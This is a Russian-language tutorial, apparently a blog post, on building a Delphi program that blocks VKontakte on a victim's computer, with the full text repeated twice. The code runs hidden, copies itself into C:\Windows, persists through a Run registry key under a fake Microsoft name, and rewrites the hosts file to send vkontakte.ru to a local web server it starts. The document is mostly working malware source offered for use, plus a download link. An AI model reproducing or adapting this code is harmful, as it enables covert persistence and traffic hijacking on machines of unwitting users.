Блокиратор вконтакте


Наша программка будет редактировать всем известный файл hosts и поднимать на компьютере жертвы собственный http-сервер, таким образом компьютер жертвы и будет хостом для сайта, на который будет прописан редирект в хостс.
Нам потребуется

[1] Delphi 7
[2] Установленная библиотека Indy

Для начала создадим html-файлик, который станет страничкой, которую увидит пользователь, попытавшись войти на свой аккаунт.

В нем я написал следующее

<html>
<title>Вконтакте Добро Пожаловать</title>
</head>
<div align=center>
<image src=12.bmp>
</div>
</html>

Не забудьте создать картинку с именем 12.bmp

Моя картинка вот http://s49.radikal.ru/i123/1102/d9/4b88381aea11.bmp

Теперь поместите наш файл и картинку в папку C:\\Windows\\

Приступим к написанию веб-сервера.
Кинем на форму idHTTPServer с закладки Indy Servers
Назовем его Server

В событии создания формы напишем

procedure TForm1.FormCreate(Sender: TObject);
var str:tstringlist;
begin
application.ShowMainForm:=false; //Делаем форму скрытой
if not FileExists(\'C:\\Windows\\webserver.exe\') then begin //Проверка, если веб //сервера нет в папке
CopyFile(pchar(application.exename),\'C:\\Windows\\webserver.exe\',false); //То //скопируемся туда
WinExec(\'C:\\Windows\\webserver.exe\',sw_hide); //И запустим сервер
RegHosts; //Процедура модификации хостс
RegRun; //Пропись в реестре
Application.Terminate; //Если это убрать, то наш сервер не запустится, т.к.
//На одном компе может быть запущен только один сервер на одном порту
end
else
begin
RegRun; //Иначе пропишемся в реестр
RegHosts; //Модифицируем хостс
server.Active:=true; //И включим сервер
end;

Теперь объявим процедуры RegRun и RegHosts

public
{ Public declarations }
procedure RegHosts;
procedure RegRun;
end;

Пропись в реестр

procedure TForm1.RegRun;
var reg:tregistry;
begin
reg := tregistry.create; //Инициализируем переменную
reg.rootkey := hkey_local_machine; //Открываем ключ реестра
reg.lazywrite := false;
reg.openkey(\'software\\microsoft\\windows\\currentversion\\run\', false); //Открываем //подраздел реестра
reg.writestring(\'MicrosoftWebServerUpdater.exe\', \'C:\\Windows\\webserver.exe\'); //Прописываем путь до сервера в автозагрузку(вместо 
//\'C:\\windows\\webserver.exe\' можно написать Application.exename
//Тогда программа пропишет в авторан путь до самой себя в данный момент
reg.closekey; //Закрываем раздел
reg.free; //Уничтожаем переменную
end;

Думаю, тут ничего объяснять не надо

Модификация файла хостс
Предварительно объявим глобальной переменной

FileStr:TStringlist;

procedure TForm1.RegHosts;
begin
Filestr:=tstringlist.Create; //Создаем список
Filestr.LoadFromFile(\'C:\\Windows\\System32\\drivers\\etc\\hosts\'); //Загружаем //содержимое хостс в список
Filestr.Add(\'127.0.0.1 vkontakte.ru\'); //Добавим строчку
//Слева написан IP, на который произойдет переадресация
//Справа - ресурс, с которого она произойдет
filestr.SaveToFile(\'C:\\Windows\\System32\\drivers\\etc\\hosts\'); //Сохраним изменения
Filestr.Free; //Освободим объект
end;

Теперь перейдем к программированию обработки запросов,
Посылаемых браузером жертвы на сервер.
В обработчике события OnCommandGet Server\’a напишем следующее

procedure TForm1.ServerCommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
if (pos(\'ndex\',arequestinfo.document)=0)and(pos(\'12.bmp\',arequestinfo.document)=0) 
then
//Если пользователь браузер запрашивает нашу страничку
arequestinfo.Document:=\'index.html\'; //Если запрашивается другая страничка
//То все равно откроем нашу. Я пишу такие условия потому, что иначе
//У меня программа вываливалась с экзепшном, может у вас получится:)
if arequestinfo.Document=\'/\' then
begin
arequestinfo.Document:=\'\'; //Обнуляем запрос
aresponseinfo.ContentStream:=tfilestream.Create(\'C:\\windows\\index.html\',fmopenread); //отправляем клиенту файл index.html
end else
if arequestinfo.Document<>\'/\' then //Если прошлая проверка пройдена, то
//Отправляем файл клиенту(картинку)
//Если этого не написать, картинка не отобразится
aresponseinfo.ContentStream:=tfilestream.Create(\'C:\\windows\\\'+arequestinfo.Document,fmopenread);
end;

При разрушении формы напишем

Server.active:=false; // Иначе программа будет некорректно работать

В uses обязательно добавьте Registry, иначе прописаться в реестр программа не сможет.

Теперь проверим, наберем в окне любого браузера 127.0.0.1
Если вам не открылся ваш html файл, то где-то вы допустили ошибку.
Теперь пробуем ввести vkontakte.ru

\"\"

Если все правильно сделано, то видим свою табличку. Кому помог, ставьте плюсик.
Если я где-то ошибся, вот исходник
http://zalil.ru/30467699

Наша программка будет редактировать всем известный файл hosts и поднимать на компьютере жертвы собственный http-сервер, таким образом компьютер жертвы и будет хостом для сайта, на который будет прописан редирект в хостс.
Нам потребуется

[1] Delphi 7
[2] Установленная библиотека Indy

Для начала создадим html-файлик, который станет страничкой, которую увидит пользователь, попытавшись войти на свой аккаунт.

В нем я написал следующее

<html>
<title>Вконтакте Добро Пожаловать</title>
</head>
<div align=center>
<image src=12.bmp>
</div>
</html>

Не забудьте создать картинку с именем 12.bmp

Моя картинка вот http://s49.radikal.ru/i123/1102/d9/4b88381aea11.bmp

Теперь поместите наш файл и картинку в папку C:\\Windows\\

Приступим к написанию веб-сервера.
Кинем на форму idHTTPServer с закладки Indy Servers
Назовем его Server

В событии создания формы напишем

procedure TForm1.FormCreate(Sender: TObject);
var str:tstringlist;
begin
application.ShowMainForm:=false; //Делаем форму скрытой
if not FileExists(\'C:\\Windows\\webserver.exe\') then begin //Проверка, если веб //сервера нет в папке
CopyFile(pchar(application.exename),\'C:\\Windows\\webserver.exe\',false); //То //скопируемся туда
WinExec(\'C:\\Windows\\webserver.exe\',sw_hide); //И запустим сервер
RegHosts; //Процедура модификации хостс
RegRun; //Пропись в реестре
Application.Terminate; //Если это убрать, то наш сервер не запустится, т.к.
//На одном компе может быть запущен только один сервер на одном порту
end
else
begin
RegRun; //Иначе пропишемся в реестр
RegHosts; //Модифицируем хостс
server.Active:=true; //И включим сервер
end;

Теперь объявим процедуры RegRun и RegHosts

public
{ Public declarations }
procedure RegHosts;
procedure RegRun;
end;

Пропись в реестр

procedure TForm1.RegRun;
var reg:tregistry;
begin
reg := tregistry.create; //Инициализируем переменную
reg.rootkey := hkey_local_machine; //Открываем ключ реестра
reg.lazywrite := false;
reg.openkey(\'software\\microsoft\\windows\\currentversion\\run\', false); //Открываем //подраздел реестра
reg.writestring(\'MicrosoftWebServerUpdater.exe\', \'C:\\Windows\\webserver.exe\'); //Прописываем путь до сервера в автозагрузку(вместо 
//\'C:\\windows\\webserver.exe\' можно написать Application.exename
//Тогда программа пропишет в авторан путь до самой себя в данный момент
reg.closekey; //Закрываем раздел
reg.free; //Уничтожаем переменную
end;

Думаю, тут ничего объяснять не надо

Модификация файла хостс
Предварительно объявим глобальной переменной

FileStr:TStringlist;

procedure TForm1.RegHosts;
begin
Filestr:=tstringlist.Create; //Создаем список
Filestr.LoadFromFile(\'C:\\Windows\\System32\\drivers\\etc\\hosts\'); //Загружаем //содержимое хостс в список
Filestr.Add(\'127.0.0.1 vkontakte.ru\'); //Добавим строчку
//Слева написан IP, на который произойдет переадресация
//Справа - ресурс, с которого она произойдет
filestr.SaveToFile(\'C:\\Windows\\System32\\drivers\\etc\\hosts\'); //Сохраним изменения
Filestr.Free; //Освободим объект
end;

Теперь перейдем к программированию обработки запросов,
Посылаемых браузером жертвы на сервер.
В обработчике события OnCommandGet Server\’a напишем следующее

procedure TForm1.ServerCommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
if (pos(\'ndex\',arequestinfo.document)=0)and(pos(\'12.bmp\',arequestinfo.document)=0) 
then
//Если пользователь браузер запрашивает нашу страничку
arequestinfo.Document:=\'index.html\'; //Если запрашивается другая страничка
//То все равно откроем нашу. Я пишу такие условия потому, что иначе
//У меня программа вываливалась с экзепшном, может у вас получится:)
if arequestinfo.Document=\'/\' then
begin
arequestinfo.Document:=\'\'; //Обнуляем запрос
aresponseinfo.ContentStream:=tfilestream.Create(\'C:\\windows\\index.html\',fmopenread); //отправляем клиенту файл index.html
end else
if arequestinfo.Document<>\'/\' then //Если прошлая проверка пройдена, то
//Отправляем файл клиенту(картинку)
//Если этого не написать, картинка не отобразится
aresponseinfo.ContentStream:=tfilestream.Create(\'C:\\windows\\\'+arequestinfo.Document,fmopenread);
end;

При разрушении формы напишем

Server.active:=false; // Иначе программа будет некорректно работать

В uses обязательно добавьте Registry, иначе прописаться в реестр программа не сможет.

Теперь проверим, наберем в окне любого браузера 127.0.0.1
Если вам не открылся ваш html файл, то где-то вы допустили ошибку.
Теперь пробуем ввести vkontakte.ru

\"\"

Если все правильно сделано, то видим свою табличку. Кому помог, ставьте плюсик.
Если я где-то ошибся, вот исходник
http://zalil.ru/30467699

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Перейти к верхней панели